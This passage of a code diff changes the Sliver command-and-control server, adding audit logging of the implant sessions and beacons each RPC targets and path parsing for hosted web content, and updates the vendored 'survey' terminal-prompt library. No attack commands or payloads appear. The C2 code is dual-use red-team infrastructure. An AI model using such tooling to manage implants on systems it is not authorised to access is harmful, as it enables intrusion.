This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
+71 -13
View File
@@ -23,10 +23,11 @@ import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"sync"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/log"
grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware"
@@ -41,6 +42,8 @@ import (
var (
serverConfig = configs.GetServerConfig()
middlewareLog = log.NamedLogger("transport", "middleware")
)
// initMiddleware - Initialize middleware logger
@@ -126,9 +129,6 @@ func tokenAuthFunc(ctx context.Context) (context.Context, error) {
mtlsLog.Debugf("Valid user token for %s", operator.Name)
tokenCache.Store(token, operator.Name)
// grpc_ctxtags.Extract(ctx).Set("auth.sub", userClaimFromToken(tokenInfo))
// WARNING: in production define your own type to avoid context collisions
newCtx = context.WithValue(newCtx, "operator", operator.Name)
return newCtx, nil
}
@@ -186,26 +186,84 @@ func codeToLevel(code codes.Code) logrus.Level {
type auditUnaryLogMsg struct {
Request string `json:"request"`
Method string `json:"method"`
Session string `json:"session,omitempty"`
Beacon string `json:"beacon,omitempty"`
}
func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor {
return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) {
var request string
rawRequest, err := json.Marshal(req)
if err != nil {
log.AuditLogger.Errorf("Failed to serialize %s", err)
request = fmt.Sprintf("%v", req)
} else {
request = string(rawRequest)
middlewareLog.Errorf("Failed to serialize %s", err)
return
}
middlewareLog.Debugf("Raw request: %s", string(rawRequest))
session, beacon, err := getActiveTarget(rawRequest)
if err != nil {
middlewareLog.Errorf("Middleware failed to insert details: %s", err)
}
msg, _ := json.Marshal(&auditUnaryLogMsg{
Request: request,
// Construct Log Message
msg := &auditUnaryLogMsg{
Request: string(rawRequest),
Method: info.FullMethod,
})
log.AuditLogger.Info(string(msg))
}
if session != nil {
sessionJSON, _ := json.Marshal(session)
msg.Session = string(sessionJSON)
}
if beacon != nil {
beaconJSON, _ := json.Marshal(beacon)
msg.Beacon = string(beaconJSON)
}
msgData, _ := json.Marshal(msg)
log.AuditLogger.Info(string(msgData))
resp, err := handler(ctx, req)
return resp, err
}
}
func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) {
var activeBeacon *clientpb.Beacon
var activeSession *clientpb.Session
var request map[string]interface{}
err := json.Unmarshal(rawRequest, &request)
if err != nil {
return nil, nil, err
}
// RPC is not a session/beacon request
if _, ok := request["Request"]; !ok {
return nil, nil, nil
}
rpcRequest := request["Request"].(map[string]interface{})
middlewareLog.Debugf("RPC Request: %v", rpcRequest)
if rawBeaconID, ok := rpcRequest["BeaconID"]; ok {
beaconID := rawBeaconID.(string)
middlewareLog.Debugf("Found Beacon ID: %s", beaconID)
beacon, err := db.BeaconByID(beaconID)
if err != nil {
middlewareLog.Errorf("Failed to get beacon %s: %s", beaconID, err)
} else if beacon != nil {
activeBeacon = beacon.ToProtobuf()
}
}
if rawSessionID, ok := rpcRequest["SessionID"]; ok {
sessionID := rawSessionID.(string)
middlewareLog.Debugf("Found Session ID: %s", sessionID)
session := core.Sessions.Get(sessionID)
if session != nil {
activeSession = session.ToProtobuf()
}
}
return activeSession, activeBeacon, nil
}
+7 -1
View File
@@ -21,6 +21,7 @@ package website
import (
"errors"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"strings"
@@ -72,9 +73,14 @@ func GetContent(websiteName string, path string) (string, []byte, error) {
dbSession := db.Session()
content := models.WebContent{}
// Use path without any query parameters
u, err := url.Parse(path)
if err != nil {
return "", []byte{}, err
}
result := dbSession.Where(&models.WebContent{
WebsiteID: website.ID,
Path: path,
Path: u.Path,
}).First(&content)
if result.Error != nil {
return "", []byte{}, result.Error
-22
View File
@@ -1,22 +0,0 @@
language: go
go:
- 1.12
os:
- linux
- linux-ppc64le
- osx
- windows
go_import_path: github.com/AlecAivazis/survey/v2
before_install:
- go get github.com/alecaivazis/run
install:
- run install-deps
script:
- run tests
# - run autoplay-tests
+9 -31
View File
@@ -4,48 +4,26 @@
The following is a set of guidelines to follow when contributing to this package. These are not hard rules, please use common sense and feel free to propose changes to this document in a pull request.
## Table of Contents
1. [Code of Conduct](#code-of-conduct)
1. [Getting Help](#getting-help)
1. [Filing a Bug Report](#how-to-file-a-bug-report)
1. [Suggesting an API change](#suggesting-an-api-change)
1. [Submitting a Contribution](#submitting-a-contribution)
1. [Writing and Running Tests](#writing-and-running-tests)
## Code of Conduct
This project and its contibutors are expected to uphold the [Go Community Code of Conduct](https://golang.org/conduct). By participating, you are expected to follow these guidelines.
## Getting help
Feel free to [open up an issue](https://github.com/AlecAivazis/survey/v2/issues/new) on GitHub when asking a question so others will be able to find it. Please remember to tag the issue with the `Question` label so the maintainers can get to your question as soon as possible. If the question is urgent, feel free to reach out to `@AlecAivazis` directly in the gophers slack channel.
## How to file a bug report
Bugs are tracked using the Github Issue tracker. When filing a bug, please remember to label the issue as a `Bug` and answer/provide the following:
1. What operating system and terminal are you using?
1. An example that showcases the bug.
1. What did you expect to see?
1. What did you see instead?
## Suggesting an API change
If you have an idea, I'm more than happy to discuss it. Please open an issue and we can work through it. In order to maintain some sense of stability, additions to the top-level API are taken just as seriously as changes that break it. Adding stuff is much easier than removing it.
* [Open an issue](https://github.com/AlecAivazis/survey/issues/new/choose)
* Reach out to `@AlecAivazis` or `@mislav` in the Gophers slack (please use only when urgent)
## Submitting a contribution
In order to maintain stability, most features get fully integrated in more than one PR. This allows for more opportunity to think through each API change without amassing large amounts of tech debt and API changes at once. If your feature can be broken into separate chunks, it will be able to be reviewed much quicker. For example, if the PR that implemented the `Validate` field was submitted in a PR separately from one that included `survey.Required`, it would be able to get merge without having to decide how many different `Validators` we want to provide as part of `survey`'s API.
When submitting a contribution,
- Provide a description of the feature or change
- Reference the ticket addressed by the PR if there is one
- Following community standards, add comments for all exported members so that all necessary information is available on godocs
- Remember to update the project README.md with changes to the high-level API
- Include both positive and negative unit tests (when applicable)
- Contributions with visual ramifications or interaction changes should be accompanied with the appropriate `go-expect` tests. For more information on writing these tests, see [Writing and Running Tests](#writing-and-running-tests)
- Try to make a series of smaller changes instead of one large change
- Provide a description of each change that you are proposing
- Reference the issue addressed by your pull request (if there is one)
- Document all new exported Go APIs
- Update the project's README when applicable
- Include unit tests if possible
- Contributions with visual ramifications or interaction changes should be accompanied with an integration test—see below for details.
## Writing and running tests
-78
View File
@@ -1,78 +0,0 @@
# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'.
[[projects]]
branch = "master"
name = "github.com/Netflix/go-expect"
packages = ["."]
revision = "c93bf25de8e869da25cf26bcd2932b36141f61ae"
[[projects]]
name = "github.com/davecgh/go-spew"
packages = ["spew"]
revision = "346938d642f2ec3594ed81d874461961cd0faa76"
version = "v1.1.0"
[[projects]]
branch = "master"
name = "github.com/hinshun/vt10x"
packages = ["."]
revision = "1954e646417484a2a687ea344edade2c2b6523c8"
[[projects]]
branch = "master"
name = "github.com/kballard/go-shellquote"
packages = ["."]
revision = "95032a82bc518f77982ea72343cc1ade730072f0"
[[projects]]
name = "github.com/kr/pty"
packages = ["."]
revision = "282ce0e5322c82529687d609ee670fac7c7d917c"
version = "v1.1.1"
[[projects]]
name = "github.com/mattn/go-colorable"
packages = ["."]
revision = "167de6bfdfba052fa6b2d3664c8f5272e23c9072"
version = "v0.0.9"
[[projects]]
name = "github.com/mattn/go-isatty"
packages = ["."]
revision = "0360b2af4f38e8d38c7fce2a9f4e702702d73a39"
version = "v0.0.3"
[[projects]]
branch = "master"
name = "github.com/mgutz/ansi"
packages = ["."]
revision = "9520e82c474b0a04dd04f8a40959027271bab992"
[[projects]]
name = "github.com/pmezard/go-difflib"
packages = ["difflib"]
revision = "792786c7400a136282c1664665ae0a8db921c6c2"
version = "v1.0.0"
[[projects]]
name = "github.com/stretchr/testify"
packages = [
"assert",
"require"
]
revision = "12b6f73e6084dad08a7c6e575284b177ecafbc71"
version = "v1.2.1"
[[projects]]
branch = "master"
name = "golang.org/x/sys"
packages = ["unix"]
revision = "9527bec2660bd847c050fda93a0f0c6dee0800bb"
[solve-meta]
analyzer-name = "dep"
analyzer-version = 1
inputs-digest = "371508ebad4798adc38a118f858b5c17a65b58594203548f9feb74cb781dd907"
solver-name = "gps-cdcl"
solver-version = 1
-54
View File
@@ -1,54 +0,0 @@
# Gopkg.toml example
#
# Refer to https://github.com/golang/dep/blob/master/docs/Gopkg.toml.md
# for detailed Gopkg.toml documentation.
#
# required = ["github.com/user/thing/cmd/thing"]
# ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"]
#
# [[constraint]]
# name = "github.com/user/project"
# version = "1.0.0"
#
# [[constraint]]
# name = "github.com/user/project2"
# branch = "dev"
# source = "github.com/myfork/project2"
#
# [[override]]
# name = "github.com/x/y"
# version = "2.4.0"
#
# [prune]
# non-go = false
# go-tests = true
# unused-packages = true
[[constraint]]
branch = "master"
name = "github.com/Netflix/go-expect"
[[constraint]]
branch = "master"
name = "github.com/hinshun/vt10x"
[[constraint]]
name = "github.com/mattn/go-isatty"
version = "0.0.3"
[[constraint]]
branch = "master"
name = "github.com/mgutz/ansi"
[[constraint]]
name = "github.com/stretchr/testify"
version = "1.2.1"
[prune]
go-tests = true
unused-packages = true
[[constraint]]
branch = "master"
name = "github.com/kballard/go-shellquote"
+81 -43
View File
@@ -1,9 +1,8 @@
# Survey
[![Build Status](https://travis-ci.org/AlecAivazis/survey.svg?branch=feature%2Fpretty)](https://travis-ci.org/AlecAivazis/survey)
[![GoDoc](http://img.shields.io/badge/godoc-reference-5272B4.svg)](https://pkg.go.dev/github.com/AlecAivazis/survey/v2)
A library for building interactive prompts.
A library for building interactive and accessible prompts on terminals supporting ANSI escape sequences.
<img width="550" src="https://thumbs.gfycat.com/VillainousGraciousKouprey-size_restricted.gif"/>
@@ -56,39 +55,12 @@ func main() {
}
```
## Table of Contents
1. [Examples](#examples)
1. [Running the Prompts](#running-the-prompts)
1. [Prompts](#prompts)
1. [Input](#input)
1. [Suggestion Options](#suggestion-options)
1. [Multiline](#multiline)
1. [Password](#password)
1. [Confirm](#confirm)
1. [Select](#select)
1. [MultiSelect](#multiselect)
1. [Editor](#editor)
1. [Filtering Options](#filtering-options)
1. [Validation](#validation)
1. [Built-in Validators](#built-in-validators)
1. [Help Text](#help-text)
1. [Changing the input rune](#changing-the-input-rune)
1. [Changing the Icons ](#changing-the-icons)
1. [Custom Types](#custom-types)
1. [Testing](#testing)
1. [FAQ](#faq)
## Examples
Examples can be found in the `examples/` directory. Run them
to see basic behavior:
```bash
go get github.com/AlecAivazis/survey/v2
cd $GOPATH/src/github.com/AlecAivazis/survey
go run examples/simple.go
go run examples/validation.go
```
@@ -221,6 +193,28 @@ prompt := &survey.MultiSelect{..., PageSize: 10}
survey.AskOne(prompt, &days, survey.WithPageSize(10))
```
#### Select options description
The optional description text can be used to add extra information to each option listed in the select prompt:
```golang
color := ""
prompt := &survey.Select{
Message: "Choose a color:",
Options: []string{"red", "blue", "green"},
Description: func(value string, index int) string {
if value == "red" {
return "My favorite color"
}
return ""
},
}
survey.AskOne(prompt, &color)
// Assuming that the user chose "red - My favorite color":
fmt.Println(color) //=> "red"
```
### MultiSelect
![Example](img/multi-select-all-none.gif)
@@ -295,7 +289,7 @@ survey.AskOne(prompt, &color, survey.WithFilter(myFilter))
## Keeping the filter active
By default the filter will disappear if the user selects one of the filtered elements. Once the user selects one element the filter setting is gone.
By default the filter will disappear if the user selects one of the filtered elements. Once the user selects one element the filter setting is gone.
However the user can prevent this from happening and keep the filter active for multiple selections in a e.g. MultiSelect:
@@ -342,11 +336,13 @@ survey.AskOne(prompt, &color, survey.WithValidator(survey.Required))
`survey` comes prepackaged with a few validators to fit common situations. Currently these
validators include:
| name | valid types | description | notes |
| ------------ | ----------- | ----------------------------------------------------------- | ------------------------------------------------------------------------------------- |
| Required | any | Rejects zero values of the response type | Boolean values pass straight through since the zero value (false) is a valid response |
| MinLength(n) | string | Enforces that a response is at least the given length | |
| MaxLength(n) | string | Enforces that a response is no longer than the given length | |
| name | valid types | description | notes |
| ------------ | -------------- | ---------------------------------------------------------------- | ------------------------------------------------------------------------------------- |
| Required | any | Rejects zero values of the response type | Boolean values pass straight through since the zero value (false) is a valid response |
| MinLength(n) | string | Enforces that a response is at least the given length | |
| MaxLength(n) | string | Enforces that a response is no longer than the given length | |
| MaxItems(n) | []OptionAnswer | Enforces that a response has no more selections of the indicated | |
| MinItems(n) | []OptionAnswer | Enforces that a response has no less selections of the indicated | |
## Help Text
@@ -361,6 +357,39 @@ All of the prompts have a `Help` field which can be defined to provide more info
}
```
## Removing the "Select All" and "Select None" options
By default, users can select all of the multi-select options using the right arrow key. To prevent users from being able to do this (and remove the `<right> to all` message from the prompt), use the option `WithRemoveSelectAll`:
```golang
import (
"github.com/AlecAivazis/survey/v2"
)
number := ""
prompt := &survey.Input{
Message: "This question has the select all option removed",
}
survey.AskOne(prompt, &number, survey.WithRemoveSelectAll())
```
Also by default, users can use the left arrow key to unselect all of the options. To prevent users from being able to do this (and remove the `<left> to none` message from the prompt), use the option `WithRemoveSelectNone`:
```golang
import (
"github.com/AlecAivazis/survey/v2"
)
number := ""
prompt := &survey.Input{
Message: "This question has the select all option removed",
}
survey.AskOne(prompt, &number, survey.WithRemoveSelectNone())
```
### Changing the input rune
In some situations, `?` is a perfectly valid response. To handle this, you can change the rune that survey
@@ -456,17 +485,26 @@ For some examples, you can see any of the tests in this repo.
## FAQ
### Why isn't sending a SIGINT (aka. CTRL-C) signal working?
### What kinds of IO are supported by `survey`?
When you send an interrupt signal to the process, it only interrupts the current prompt instead of the entire process. This manifests in a `github.com/AlecAivazis/survey/v2/terminal.InterruptErr` being returned from `Ask` and `AskOne`. If you want to stop the process, handle the returned error in your code:
survey aims to support most terminal emulators; it expects support for ANSI escape sequences.
This means that reading from piped stdin or writing to piped stdout is **not supported**,
and likely to break your application in these situations. See [#337](https://github.com/AlecAivazis/survey/pull/337#issue-581351617)
### Why isn't Ctrl-C working?
Ordinarily, when you type Ctrl-C, the terminal recognizes this as the QUIT button and delivers a SIGINT signal to the process, which terminates it.
However, Survey temporarily configures the terminal to deliver control codes as ordinary input bytes.
When Survey reads a ^C byte (ASCII \x03, "end of text"), it interrupts the current survey and returns a
`github.com/AlecAivazis/survey/v2/terminal.InterruptErr` from `Ask` or `AskOne`.
If you want to stop the process, handle the returned error in your code:
```go
err := survey.AskOne(prompt, &myVar)
if err == terminal.InterruptErr {
fmt.Println("interrupted")
os.Exit(0)
} else if err != nil {
panic(err)
if err != nil {
if err == terminal.InterruptErr {
log.Fatal("interrupted")
}
...
}
```
-19
View File
@@ -1,19 +0,0 @@
task "install-deps" {
description = "Install all of package dependencies"
pipeline = [
"go get {{.files}}",
]
}
task "tests" {
description = "Run the test suite"
command = "go test {{.files}}"
environment {
GOFLAGS = "-mod=vendor"
}
}
variables {
files = "$(go list -v ./... | grep -iEv \"tests|examples\")"
}
+4 -4
View File
@@ -49,8 +49,10 @@ func yesNo(t bool) string {
func (c *Confirm) getBool(showHelp bool, config *PromptConfig) (bool, error) {
cursor := c.NewCursor()
rr := c.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
// start waiting for input
for {
@@ -107,8 +109,6 @@ func (c *Confirm) getBool(showHelp bool, config *PromptConfig) (bool, error) {
}
return answer, nil
}
// should not get here
return c.Default, nil
}
/*
+3 -3
View File
@@ -29,7 +29,7 @@ var TemplateFuncsNoColor = map[string]interface{}{
//for colored output. The second string does not contain escape codes
//and can be used by the renderer for layout purposes.
func RunTemplate(tmpl string, data interface{}) (string, string, error) {
tPair, err := getTemplatePair(tmpl)
tPair, err := GetTemplatePair(tmpl)
if err != nil {
return "", "", err
}
@@ -52,12 +52,12 @@ var (
memoMutex = &sync.RWMutex{}
)
//getTemplatePair returns a pair of compiled templates where the
//GetTemplatePair returns a pair of compiled templates where the
//first template is generated for user-facing output and the
//second is generated for use by the renderer. The second
//template does not contain any color escape codes, whereas
//the first template may or may not depending on DisableColor.
func getTemplatePair(tmpl string) ([2]*template.Template, error) {
func GetTemplatePair(tmpl string) ([2]*template.Template, error) {
memoMutex.RLock()
if t, ok := memoizedGetTemplate[tmpl]; ok {
memoMutex.RUnlock()
+37 -19
View File
@@ -24,6 +24,11 @@ type OptionAnswer struct {
Index int
}
type reflectField struct {
value reflect.Value
fieldType reflect.StructField
}
func OptionAnswerList(incoming []string) []OptionAnswer {
list := []OptionAnswer{}
for i, opt := range incoming {
@@ -63,13 +68,12 @@ func WriteAnswer(t interface{}, name string, v interface{}) (err error) {
}
// get the name of the field that matches the string we were given
fieldIndex, err := findFieldIndex(elem, name)
field, _, err := findField(elem, name)
// if something went wrong
if err != nil {
// bubble up
return err
}
field := elem.Field(fieldIndex)
// handle references to the Settable interface aswell
if s, ok := field.Interface().(Settable); ok {
// use the interface method
@@ -156,37 +160,49 @@ func IsFieldNotMatch(err error) (string, bool) {
// BUG(AlecAivazis): the current implementation might cause weird conflicts if there are
// two fields with same name that only differ by casing.
func findFieldIndex(s reflect.Value, name string) (int, error) {
// the type of the value
sType := s.Type()
func findField(s reflect.Value, name string) (reflect.Value, reflect.StructField, error) {
fields := flattenFields(s)
// first look for matching tags so we can overwrite matching field names
for i := 0; i < sType.NumField(); i++ {
// the field we are current scanning
field := sType.Field(i)
for _, f := range fields {
// the value of the survey tag
tag := field.Tag.Get(tagName)
tag := f.fieldType.Tag.Get(tagName)
// if the tag matches the name we are looking for
if tag != "" && tag == name {
// then we found our index
return i, nil
return f.value, f.fieldType, nil
}
}
// then look for matching names
for i := 0; i < sType.NumField(); i++ {
// the field we are current scanning
field := sType.Field(i)
for _, f := range fields {
// if the name of the field matches what we're looking for
if strings.ToLower(field.Name) == strings.ToLower(name) {
return i, nil
if strings.EqualFold(f.fieldType.Name, name) {
return f.value, f.fieldType, nil
}
}
// we didn't find the field
return -1, errFieldNotMatch{name}
return reflect.Value{}, reflect.StructField{}, errFieldNotMatch{name}
}
func flattenFields(s reflect.Value) []reflectField {
sType := s.Type()
numField := sType.NumField()
fields := make([]reflectField, 0, numField)
for i := 0; i < numField; i++ {
fieldType := sType.Field(i)
field := s.Field(i)
if field.Kind() == reflect.Struct && fieldType.Anonymous {
// field is a promoted structure
fields = append(fields, flattenFields(field)...)
continue
}
fields = append(fields, reflectField{field, fieldType})
}
return fields
}
// isList returns true if the element is something we can Len()
@@ -343,7 +359,9 @@ func copy(t reflect.Value, v reflect.Value) (err error) {
// otherwise it could be an array
case reflect.Array:
// set the index to the appropriate value
copy(t.Slice(i, i+1).Index(0), v.Index(i))
if err := copy(t.Slice(i, i+1).Index(0), v.Index(i)); err != nil {
return err
}
}
}
} else {
+7 -3
View File
@@ -101,8 +101,10 @@ func (e *Editor) prompt(initialValue string, config *PromptConfig) (interface{},
// start reading runes from the standard in
rr := e.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
cursor := e.NewCursor()
cursor.Hide()
@@ -147,7 +149,9 @@ func (e *Editor) prompt(initialValue string, config *PromptConfig) (interface{},
if err != nil {
return "", err
}
defer os.Remove(f.Name())
defer func() {
_ = os.Remove(f.Name())
}()
// write utf8 BOM header
// The reason why we do this is because notepad.exe on Windows determines the
+104 -80
View File
@@ -1,6 +1,8 @@
package survey
import (
"errors"
"github.com/AlecAivazis/survey/v2/core"
"github.com/AlecAivazis/survey/v2/terminal"
)
@@ -19,8 +21,8 @@ type Input struct {
Default string
Help string
Suggest func(toComplete string) []string
typedAnswer string
answer string
typedAnswer string
options []core.OptionAnswer
selectedIndex int
showingHelp bool
@@ -58,85 +60,90 @@ var InputQuestionTemplate = `
{{- if and .Suggest }}{{color "cyan"}}{{ print .Config.SuggestInput }} for suggestions{{end -}}
]{{color "reset"}} {{end}}
{{- if .Default}}{{color "white"}}({{.Default}}) {{color "reset"}}{{end}}
{{- .Answer -}}
{{- end}}`
func (i *Input) OnChange(key rune, config *PromptConfig) (bool, error) {
if key == terminal.KeyEnter || key == '\n' {
if i.answer != config.HelpInput || i.Help == "" {
// we're done
return true, nil
} else {
i.answer = ""
i.showingHelp = true
}
} else if key == terminal.KeyDeleteWord || key == terminal.KeyDeleteLine {
i.answer = ""
} else if key == terminal.KeyEscape && i.Suggest != nil {
if len(i.options) > 0 {
func (i *Input) onRune(config *PromptConfig) terminal.OnRuneFn {
return terminal.OnRuneFn(func(key rune, line []rune) ([]rune, bool, error) {
if i.options != nil && (key == terminal.KeyEnter || key == '\n') {
return []rune(i.answer), true, nil
} else if i.options != nil && key == terminal.KeyEscape {
i.answer = i.typedAnswer
}
i.options = nil
} else if key == terminal.KeyArrowUp && len(i.options) > 0 {
if i.selectedIndex == 0 {
i.selectedIndex = len(i.options) - 1
} else {
i.selectedIndex--
}
i.answer = i.options[i.selectedIndex].Value
} else if (key == terminal.KeyArrowDown || key == terminal.KeyTab) && len(i.options) > 0 {
if i.selectedIndex == len(i.options)-1 {
i.options = nil
} else if key == terminal.KeyArrowUp && len(i.options) > 0 {
if i.selectedIndex == 0 {
i.selectedIndex = len(i.options) - 1
} else {
i.selectedIndex--
}
i.answer = i.options[i.selectedIndex].Value
} else if (key == terminal.KeyArrowDown || key == terminal.KeyTab) && len(i.options) > 0 {
if i.selectedIndex == len(i.options)-1 {
i.selectedIndex = 0
} else {
i.selectedIndex++
}
i.answer = i.options[i.selectedIndex].Value
} else if key == terminal.KeyTab && i.Suggest != nil {
i.answer = string(line)
i.typedAnswer = i.answer
options := i.Suggest(i.answer)
i.selectedIndex = 0
} else {
i.selectedIndex++
}
i.answer = i.options[i.selectedIndex].Value
} else if key == terminal.KeyTab && i.Suggest != nil {
options := i.Suggest(i.answer)
i.selectedIndex = 0
i.typedAnswer = i.answer
if len(options) > 0 {
if len(options) == 0 {
return line, false, nil
}
i.answer = options[0]
if len(options) == 1 {
i.typedAnswer = i.answer
i.options = nil
} else {
i.options = core.OptionAnswerList(options)
}
}
} else if key == terminal.KeyDelete || key == terminal.KeyBackspace {
if i.answer != "" {
i.answer = i.answer[0 : len(i.answer)-1]
}
} else if key >= terminal.KeySpace {
i.answer += string(key)
i.typedAnswer = i.answer
i.options = nil
}
} else {
if i.options == nil {
return line, false, nil
}
pageSize := config.PageSize
opts, idx := paginate(pageSize, i.options, i.selectedIndex)
err := i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
Answer: i.answer,
ShowHelp: i.showingHelp,
SelectedIndex: idx,
PageEntries: opts,
Config: config,
},
)
if key >= terminal.KeySpace {
i.answer += string(key)
}
i.typedAnswer = i.answer
return err != nil, err
i.options = nil
}
pageSize := config.PageSize
opts, idx := paginate(pageSize, i.options, i.selectedIndex)
err := i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
Answer: i.answer,
ShowHelp: i.showingHelp,
SelectedIndex: idx,
PageEntries: opts,
Config: config,
},
)
if err == nil {
err = readLineAgain
}
return []rune(i.typedAnswer), true, err
})
}
var readLineAgain = errors.New("read line again")
func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
// render the template
err := i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
Config: config,
Input: *i,
Config: config,
ShowHelp: i.showingHelp,
},
)
if err != nil {
@@ -145,34 +152,44 @@ func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
// start reading runes from the standard in
rr := i.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
cursor := i.NewCursor()
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
if !config.ShowCursor {
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
}
var line []rune
// start waiting for input
for {
r, _, err := rr.ReadRune()
if err != nil {
return "", err
if i.options != nil {
line = []rune{}
}
if r == terminal.KeyInterrupt {
return "", terminal.InterruptErr
}
if r == terminal.KeyEndTransmission {
break
line, err = rr.ReadLineWithDefault(0, line, i.onRune(config))
if err == readLineAgain {
continue
}
b, err := i.OnChange(r, config)
if err != nil {
return "", err
}
if b {
break
}
break
}
i.answer = string(line)
// readline print an empty line, go up before we render the follow up
cursor.Up(1)
// if we ran into the help string
if i.answer == config.HelpInput && i.Help != "" {
// show the help and prompt again
i.showingHelp = true
return i.Prompt(config)
}
// if the line is empty
@@ -190,13 +207,20 @@ func (i *Input) Prompt(config *PromptConfig) (interface{}, error) {
}
func (i *Input) Cleanup(config *PromptConfig, val interface{}) error {
// use the default answer when cleaning up the prompt if necessary
ans := i.answer
if ans == "" && i.Default != "" {
ans = i.Default
}
// render the cleanup
return i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
ShowAnswer: true,
Config: config,
Answer: i.answer,
Answer: ans,
},
)
}
+5 -3
View File
@@ -50,8 +50,10 @@ func (i *Multiline) Prompt(config *PromptConfig) (interface{}, error) {
// start reading runes from the standard in
rr := i.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
cursor := i.NewCursor()
@@ -60,7 +62,7 @@ func (i *Multiline) Prompt(config *PromptConfig) (interface{}, error) {
emptyOnce := false
// get the next line
for {
line := []rune{}
var line []rune
line, err = rr.ReadLine(0)
if err != nil {
return string(line), err
+55 -34
View File
@@ -45,21 +45,36 @@ type MultiSelectTemplateData struct {
ShowHelp bool
PageEntries []core.OptionAnswer
Config *PromptConfig
// These fields are used when rendering an individual option
CurrentOpt core.OptionAnswer
CurrentIndex int
}
// IterateOption sets CurrentOpt and CurrentIndex appropriately so a multiselect option can be rendered individually
func (m MultiSelectTemplateData) IterateOption(ix int, opt core.OptionAnswer) interface{} {
copy := m
copy.CurrentIndex = ix
copy.CurrentOpt = opt
return copy
}
var MultiSelectQuestionTemplate = `
{{- define "option"}}
{{- if eq .SelectedIndex .CurrentIndex }}{{color .Config.Icons.SelectFocus.Format }}{{ .Config.Icons.SelectFocus.Text }}{{color "reset"}}{{else}} {{end}}
{{- if index .Checked .CurrentOpt.Index }}{{color .Config.Icons.MarkedOption.Format }} {{ .Config.Icons.MarkedOption.Text }} {{else}}{{color .Config.Icons.UnmarkedOption.Format }} {{ .Config.Icons.UnmarkedOption.Text }} {{end}}
{{- color "reset"}}
{{- " "}}{{- .CurrentOpt.Value}}
{{end}}
{{- if .ShowHelp }}{{- color .Config.Icons.Help.Format }}{{ .Config.Icons.Help.Text }} {{ .Help }}{{color "reset"}}{{"\n"}}{{end}}
{{- color .Config.Icons.Question.Format }}{{ .Config.Icons.Question.Text }} {{color "reset"}}
{{- color "default+hb"}}{{ .Message }}{{ .FilterMessage }}{{color "reset"}}
{{- if .ShowAnswer}}{{color "cyan"}} {{.Answer}}{{color "reset"}}{{"\n"}}
{{- else }}
{{- " "}}{{- color "cyan"}}[Use arrows to move, space to select, <right> to all, <left> to none, type to filter{{- if and .Help (not .ShowHelp)}}, {{ .Config.HelpInput }} for more help{{end}}]{{color "reset"}}
{{- " "}}{{- color "cyan"}}[Use arrows to move, space to select,{{- if not .Config.RemoveSelectAll }} <right> to all,{{end}}{{- if not .Config.RemoveSelectNone }} <left> to none,{{end}} type to filter{{- if and .Help (not .ShowHelp)}}, {{ .Config.HelpInput }} for more help{{end}}]{{color "reset"}}
{{- "\n"}}
{{- range $ix, $option := .PageEntries}}
{{- if eq $ix $.SelectedIndex }}{{color $.Config.Icons.SelectFocus.Format }}{{ $.Config.Icons.SelectFocus.Text }}{{color "reset"}}{{else}} {{end}}
{{- if index $.Checked $option.Index }}{{color $.Config.Icons.MarkedOption.Format }} {{ $.Config.Icons.MarkedOption.Text }} {{else}}{{color $.Config.Icons.UnmarkedOption.Format }} {{ $.Config.Icons.UnmarkedOption.Text }} {{end}}
{{- color "reset"}}
{{- " "}}{{$option.Value}}{{"\n"}}
{{- template "option" $.IterateOption $ix $option}}
{{- end}}
{{- end}}`
@@ -113,19 +128,20 @@ func (m *MultiSelect) OnChange(key rune, config *PromptConfig) {
m.filter = ""
} else if key == terminal.KeyDelete || key == terminal.KeyBackspace {
if m.filter != "" {
m.filter = m.filter[0 : len(m.filter)-1]
runeFilter := []rune(m.filter)
m.filter = string(runeFilter[0 : len(runeFilter)-1])
}
} else if key >= terminal.KeySpace {
m.filter += string(key)
m.VimMode = false
} else if key == terminal.KeyArrowRight {
} else if !config.RemoveSelectAll && key == terminal.KeyArrowRight {
for _, v := range options {
m.checked[v.Index] = true
}
if !config.KeepFilter {
m.filter = ""
}
} else if key == terminal.KeyArrowLeft {
} else if !config.RemoveSelectNone && key == terminal.KeyArrowLeft {
for _, v := range options {
m.checked[v.Index] = false
}
@@ -158,18 +174,17 @@ func (m *MultiSelect) OnChange(key rune, config *PromptConfig) {
// and we have modified the filter then we should move the page back!
opts, idx := paginate(pageSize, options, m.selectedIndex)
tmplData := MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
ShowHelp: m.showingHelp,
PageEntries: opts,
Config: config,
}
// render the options
m.Render(
MultiSelectQuestionTemplate,
